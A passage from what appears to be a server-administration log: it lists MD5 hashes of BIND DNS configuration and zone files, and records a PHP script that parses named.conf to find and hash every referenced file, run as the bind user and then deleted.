MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:22:59: Establishing a connection
2026-04-23 18:22:59: 

PUT: /tmp/pkp101640

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:22:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp101640; rm /tmp/pkp101640'

2026-04-23 18:22:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
